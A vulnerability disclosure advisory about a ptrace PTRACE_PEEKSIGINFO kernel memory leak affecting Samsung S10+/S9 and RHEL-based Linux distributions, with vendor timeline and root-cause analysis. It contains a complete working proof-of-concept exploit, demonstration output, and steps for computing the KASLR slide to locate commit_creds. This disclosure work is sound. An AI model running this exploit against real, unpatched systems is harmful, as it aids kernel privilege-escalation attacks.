SSD Advisory – Samsung S10+/S9 kernel 4.14 (Android 10) Kernel Function Address (.text) and Heap Address Information Leak

TL;DR

Find out how a vulnerability discovered in Samsung S10+/S9 kernel allows leaking of sensitive function address information.

Vulnerability Summary

Samsung S10+/S9 kernel (based on Android 10) does not properly handle information received from the user, a memory leak found in the CentOS/RedHat operating system has been found to also affect this platform.

The vulnerability leaks information that can be utilised to gain insight to data addresses and function addresses which can then assist local attackers in exploiting code execution vulnerabilities.

CVE

CVE-TBD

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Samsung S10+/S9 kernel 4.14

Vendor Response

We reported the vulnerability to Samsung on 2021.04.14, as of 2021.08.12, Samsung stated the following:

However, there are some models that will be patched during the quarterly security update cycle.

What we know:

  1. The vulnerability has been disclosed in a timely fashion (more than 90 days ago) to the vendor.
  2. Samsung was aware of this vulnerability before we reported it and issued patches for the latest Samsung models, they claim that they didn’t know it was affecting older models of Samsung.

Both of these two items make it unclear why after 4 months, Samsung have yet to release patches for affected Samsung models while asking us to delay the advisory, without even giving a definite timeline when the patch will be rolled out.

We decided to publish this vulnerability at this time, as the safety of our community is one of our core values and priorities.

Vulnerability Analysis

Introduction

Auditing the Linux kernel on Red Hat Enterprise Linux 8 kernel, a piece of code that leaks stack uninitialized variables to the user. As we often do vulnerability research focused on Red Hat Enterprise Linux we know that it misses commits/patches that fix vulnerabilities specially when they do not have a CVE identifier. The Linux kernel version 4.18 as used by Red Hat Enterprise Linux 8 is no longer supported by upstream then Red Hat security team needs to cherry-pick important security fixes/patches that should be interesting for them. As the development of the Linux kernel on upstream is very active and developed in a fast pace, it’s a hard work to keep track of all the potential security vulnerabilities that could affect Red Hat Enterprise Linux.

Based on that, we decided to check the Linux kernel source code on upstream to see if the vulnerability was still there and then we discovered the vulnerability had already been patched. The vulnerability was introduced on April 30, 2013 and patched on May 30, 2019. The respective commits are the following:

ptrace: add ability to retrieve signals without removing from a queue (v4) https://github.com/torvalds/linux/commit/84c751bd4aebbaae995fe32279d3dba48327bad4

signal/ptrace: Don’t leak unitialized kernel memory with PTRACE_PEEK_SIGINFO https://github.com/torvalds/linux/commit/f6e2aa91a46d2bc79fce9b93a988dbe7655c90c0

As it’s shown in this report, even though the vulnerability was fixed on upstream it still affects some Linux systems as Red Hat Enterprise Linux 7/8, the distributions based on it (CentOS 7/8, Oracle Linux 7/8 and CloudLinux 7/8) and at least two android devices, Samsung S9 and S10+.

The vulnerability

The vulnerability resides in the ptrace subsystem. The function ptrace_peek_siginfo() receives a pointer from the user that points to struct ptrace_peeksiginfo_args and copies the content from that pointer to kernel address space. One of the members of the struct ptrace_peeksiginfo_args is the off variable. The definition of the struct ptrace_peeksiginfo_args can be seen below:

struct ptrace_peeksiginfo_args {
    u64 off;    /* Ordinal position in queue at which
            to start copying signals */
    u32 flags;  /* PTRACE_PEEKSIGINFO_SHARED or 0 */
    s32 nr;     /* Number of signals to copy */
};

The function ptrace_peek_siginfo() doesn’t validate the off variable passed by the user before using it in the following statement s32 off = arg.off + i on line 721. The variable arg.off is of the type unsigned long (8 bytes) and the variable off is of the type s32 (4 bytes). The variable arg.off is larger and of different signedness but the issue arises because the function ptrace_peek_siginfo() doesn’t check if the variable off is already negative after getting its value from arg.off + i. The variable off is used to check if the function needs to copy data to the user, it does so if the variable off is negative. AS it started off as negative, the check if (off >= 0) fails and then the kernel stack variable kernel_siginfo_t info is copied to the user without being cleared or initialized.

Below we show the source code of the vulnerable function as found in the latest kernel release (kernel-4.18.0-240.15.1.el8_3) on Red Hat Enterprise Linux 8.

File: linux-4.18.0-240.15.1.el8_3/kernel/ptrace.c
---
694 static int ptrace_peek_siginfo(struct task_struct *child,
695                                 unsigned long addr,
696                                 unsigned long data)
697 {
698         struct ptrace_peeksiginfo_args arg;
699         struct sigpending *pending;
700         struct sigqueue *q;
701         int ret, i;
702 
703         ret = copy_from_user(&arg, (void __user *) addr,
704                                 sizeof(struct ptrace_peeksiginfo_args));
705         if (ret)
706                 return -EFAULT;
...
719         for (i = 0; i < arg.nr; ) {
720                 kernel_siginfo_t info;
721                 s32 off = arg.off + i;
722 
725                         if (!off--) {
726                                 copy_siginfo(&info, &q->info);
727                                 break;
728                         }
729                 }
...
732                 if (off >= 0) /* beyond the end of the list */
733                         break;
734 
747                         siginfo_t __user *uinfo = (siginfo_t __user *) data;
748 
749                         if (copy_siginfo_to_user(uinfo, &info)) {
750                                 ret = -EFAULT;
751                                 break;
752                         }
...
762         }
...
767         return ret;
768 }
---

The kernel distribued by Red Hat is the same one used by other distributions as CentOS 7/8, Oracle Linux 7/8 and CloudLinux 7/8. Checking those distributions, we confirm the vulnerability also affects them.

The proof of concept

To take advantage of the vulnerability we need to use the ptrace() system call to reach the vulnerable function ptrace_peek_siginfo(). It’s possible to do that using the request PTRACE_PEEKSIGINFO but before calling it, the process needs to attach to other process in order to use the ptrace subsystem. The first thing the proof of concept does is to create a child process that does nothing and just waits for an user input through the getchar() system call. After this, the parent process can then attach to the child process using ptrace PTRACE_ATTACH request.

File: leak.c
---
23         pid = fork();
24         if(pid == 0){
25                 getchar();
26                 exit(EXIT_FAILURE);
27         }
28 
29         if(ptrace(PTRACE_ATTACH,pid,NULL,NULL) < 0){
30                 perror("ptrace attach");
31                 exit(EXIT_FAILURE);
32         }
33 
34         waitpid(pid, NULL, 0);
---

The function ptrace_peek_siginfo() receives two user pointers, both of them are of the type struct ptrace_peeksiginfo_args. The first one is to pass the parameters to retrieve the information and the second one is the struct ptrace_peeksiginfo_ars the data retrieved are copied to. When triggering the vulnerability, the uninitialized stack data from the kernel will be copied to the second argument. More information about the PTRACE_PEEKSIGINFO request can be found on the ptrace manual and are pasted below:

PTRACE_PEEKSIGINFO (since Linux 3.10)
Retrieve siginfo_t structures without removing signals from a queue.  addr points to a ptrace_peeksiginfo_args structure that specifies the ordinal position from which copying of signals should start, and the number of signals to copy.  siginfo_t structures are copied into the buffer pointed to by data.  The return value contains the number of copied signals (zero indicates that there is no signal corresponding to the specified ordinal position).  Within the returned siginfo structures, the si_code field includes information (__SI_CHLD, __SI_FAULT, etc.) that are not otherwise exposed to user space.

As discussed in the earlier section, to make the kernel to skip the initialization of the struct kernel_siginfo_t info and leaking uninitialized data to the user, the parameter off needs to be negative and this is what it’s done below. The content of the variable nr is the number of signals the code would like to get. In the case of the vulnerability, it might lead to additional data to be leaked to the user. The proof of concept provided in this report uses the value of nr according to what have been observed running the proof of concept on the vulnerable targets.

File: leak.c
---
...
36         a.off = -1;
37         a.nr = LLEAK;
38         a.flags = 0;
39 
40         if(ptrace(PTRACE_PEEKSIGINFO,pid,&a,&b) < 0){
41                 perror("ptrace");
42                 exit(EXIT_FAILURE);
43         }
...
---

After the execution of the system call above, the content on the struct b should contain uninitialized stack data from the kernel. The proof of concept then just needs to print them out.

ile: leak.c
---
...
45         #ifdef S10
46                 for(i = 0; i < 7; i++){
47                         heap = b[i].off;
48                         text = ((unsigned long)b[i].nr << 32 | b[i].flags);
49 
50                         printf("leak: 0x%lx\n",(unsigned long)heap);
51                         printf("leak: 0x%lx\n",(unsigned long)text);
52                 }
53         #endif
54         #ifdef S9
55                 for(i = 0; i < 2; i++){
56                         heap = b[i].off;
57                         text = ((unsigned long)b[i].nr << 32 | b[i].flags);
58 
59                         printf("leak: 0x%lx\n",(unsigned long)heap);
60                         if(text != 0){
61                                 printf("leak: 0x%lx\n",(unsigned long)text);
62                         }
63                 }
64         #endif
65         #ifdef RHEL8
66                 for(i = 0; i < 1; i++){
67                         heap = b[i].off;
68                         text = ((unsigned long)b[i].nr << 32 | b[i].flags);
69 
70                         printf("heap: 0x%lx\n",(unsigned long)heap);
71                         printf("text: 0x%lx\n",(unsigned long)text);
72                 }
73         #endif
...
---

Demonstration

In this section we show the execution of the proof of concept on the affected distributions and devices. The content leaked by the proof of concept might vary because the stack layout might be different during the execution of the proof of concept. What is described here is the result of the execution of the proof of concept on the virtual machines and the real Samsung devices we tested it on.

On Red Hat Enterprise Linux 8 and all distributions based on it, the proof of concept seems to leak two kernel addresses, one from the kernel heap and the other one from the kernel .text section. The address from the heap is the struct task_struct of the proof of concept process. It means the proof of concept leaks the address of its own struct task_truct. That is the structure that stores all process information including user credentials. The address from the kernel .text section is the address of the function child_wait_callback(). It leaks the randomized address of the function child_wait_callback() then once the attacker has the non-randomized address of the function child_wait_callback(), they can then calculate the KALSR slide and break the KASLR randomization. The non-randomized address of any kernel function can be easily obtained through several ways.

CentOS 8.3

Execution of the proof of concept on the latest kernel release on CentOS 8.3 (kernel 4.18.0-240.15.1.el8_3.x86_64).

$ cat /etc/centos-release
CentOS Linux release 8.3.2011
$ uname -a
Linux centos82research 4.18.0-240.15.1.el8_3.x86_64 #1 SMP Mon Mar 1 17:16:16 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ gcc leak.c -o leak -DRHEL8 -Wall
$ ./leak 
heap: 0xffff8d47495d5f00
text: 0xffffffffb42b8d60
$

Using GDB attached to the virtual machine running CentOS 8.3 (kernel 4.18.0-240.15.1.el8_3.x86_64), we can confirm the heap address leaked is its own struct task_struct (process ./leak). If we ask GDB to interpret the address leaked (0xffff8d47495d5f00) as a struct task_struct, we can see the process PID and the process name.

(gdb) print ((struct task_struct *)0xffff8d47495d5f00)->pid
$55 = 2116
(gdb) print/s ((struct task_struct *)0xffff8d47495d5f00)->comm
$56 = "leak\000)\000\000\060\000\000\000\000\000\000"
(gdb) 

Using the crash tool, we also have the same result. It says the struct task_struct of the proof of concept is 0xffff8d47495d5f00 and its PID is 2116.

crash> ps leak
   PID    PPID  CPU       TASK        ST  %MEM     VSZ    RSS  COMM
   2116   1989   1  ffff8d47495d5f00  IN   0.1    4332   1424  leak
   2117   2116   0  ffff8d47496a2f80  TR   0.0    4200     72  leak
crash> 

The other address leaked is the randomized address of the function child_wait_callback(). We can confirm that by reading /proc/kallsyms as root user.

$ sudo cat /proc/kallsyms |grep child_wait_callback
ffffffffb42b8d60 t child_wait_callback
$

The non-randomized address of the function can be obtained by read the kernel respective System.map on /boot.

$ sudo cat /boot/System.map-4.18.0-240.15.1.el8_3.x86_64 |grep child_wait_callback
ffffffff810b8d60 t child_wait_callback
$

Calculating the difference between the randomized and the non-randomized address, the KASLR slide used to randomize all kernel functions is obtained.

(gdb) print/x 0xffffffffb42b8d60 - 0xffffffff810b8d60
$1 = 0x33200000
(gdb)

Once the attacker has the KASLR slide, the KASLR security mitigation is broke and they know the exact location of all kernel functions.

Non-randomized address of the function commit_creds() from kernel-4.18.0-240.15.1.el8_3.x86_64.

$ sudo cat /boot/System.map-4.18.0-240.15.1.el8_3.x86_64 |grep -w commit_creds
ffffffff810dbf50 T commit_creds
$

Adding the KASLR slide to the non-randomized address of the function commit_creds(), the randomized address is obtained.

(gdb) print/x 0xffffffff810dbf50 + 0x33200000
$1 = 0xffffffffb42dbf50
(gdb)

...

$ sudo cat /proc/kallsyms |grep ffffffffb42dbf50
ffffffffb42dbf50 T commit_creds
$

The vulnerable function can also be triggered from an unprivileged user namespace.

$ unshare -Ur ./leak 
heap: 0xffff8d47495d2f80
text: 0xffffffffb42b8d60
$

The same result seems to present on Red Hat Enterpise Linux 7/8, Oracle Linux 7/8, CentOS 7/8 and Cloud Linux 7/8.

Samsung S10+

Below we show the execution of the proof of concept on a fully updated Samsung S10+ device. By default, it leaks much more addresses than when executing it on a distribution based on Red Hat Enterprise Linux but because we do not have the capability to inspect the kernel memory, we can not say for sure what are allocaed on these addresses.

They might be addresses from the kernel heap and the kernel .text section or they might all be from the kernel .text section.

No effort was done to try to manipulate the kernel stack before leaking the kernel uninitialized data to the user but it might be possible.

$ ./bin/aarch64-linux-android26-clang leak.c -o leak -DS10 -Wall
$ adb push leak /data/local/tmp/
leak: 1 file pushed. 0.9 MB/s (6896 bytes in 0.007s)
$ adb shell
beyond2:/ $ uname -a
Linux localhost 4.14.113-20606551 #1 SMP PREEMPT Sat Feb 20 04:58:01 KST 2021 aarch64
beyond2:/ $ /data/local/tmp/leak
leak: 0xffffff800ad497b8
leak: 0x7ff2100f18
leak: 0xffffffc911f26b4c
leak: 0xffffffc911f26300
leak: 0x8
leak: 0xffffff800bfdbe50
leak: 0xffffff80082af2dc
leak: 0xffffffc827622100
leak: 0x0
leak: 0xffffffc81d046480
leak: 0x140
leak: 0xffffffc900000000
leak: 0x2f9b4d809924e700
leak: 0xffffffc827622100
beyond2:/ $

Samsung S9

$ ./bin/aarch64-linux-android26-clang leak.c -o leak -DS9 -Wall
$ adb push leak /data/local/tmp/                               
leak: 1 file pushed. 0.9 MB/s (6896 bytes in 0.007s)
$ adb shell                                                    
starlte:/ $ uname -a
Linux localhost 4.9.118-21315611 #1 SMP PREEMPT Tue Mar 23 10:57:36 KST 2021 aarch64
starlte:/ $ /data/local/tmp/leak
leak: 0xffffff80084311ec
leak: 0x6cf37d10
leak: 0xffffff8008155788
starlte:/ $ 

Exploit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/ptrace.h>

#define LLEAK 50

int main(void){
	struct ptrace_peeksiginfo_args b[LLEAK];
	struct ptrace_peeksiginfo_args a;
	int pid, i;

	unsigned long heap = 0;
	unsigned long text = 0;

	memset(&a,'\0',sizeof(a));
	memset(&b,'\0',sizeof(b));

	pid = fork();
	if(pid == 0){
		getchar();
		exit(EXIT_FAILURE);
	}

	if(ptrace(PTRACE_ATTACH,pid,NULL,NULL) < 0){
		perror("ptrace attach");
		exit(EXIT_FAILURE);
	}

	waitpid(pid, NULL, 0);

	a.off = -1;
	a.nr = LLEAK;
	a.flags = 0;

	if(ptrace(PTRACE_PEEKSIGINFO,pid,&a,&b) < 0){
		perror("ptrace");
		exit(EXIT_FAILURE);
	}

	#ifdef S10
		for(i = 0; i < 7; i++){
			heap = b[i].off;
			text = ((unsigned long)b[i].nr << 32 | b[i].flags);

			printf("leak: 0x%lx\n",(unsigned long)heap);
			printf("leak: 0x%lx\n",(unsigned long)text);	
		}
	#endif
	#ifdef S9
		for(i = 0; i < 2; i++){
			heap = b[i].off;
			text = ((unsigned long)b[i].nr << 32 | b[i].flags);

			printf("leak: 0x%lx\n",(unsigned long)heap);
			if(text != 0){
				printf("leak: 0x%lx\n",(unsigned long)text);	
			}
		}
	#endif
	#ifdef RHEL8
		for(i = 0; i < 1; i++){
			heap = b[i].off;
			text = ((unsigned long)b[i].nr << 32 | b[i].flags);

			printf("heap: 0x%lx\n",(unsigned long)heap);
			printf("text: 0x%lx\n",(unsigned long)text);	
		}
	#endif

return 0;
}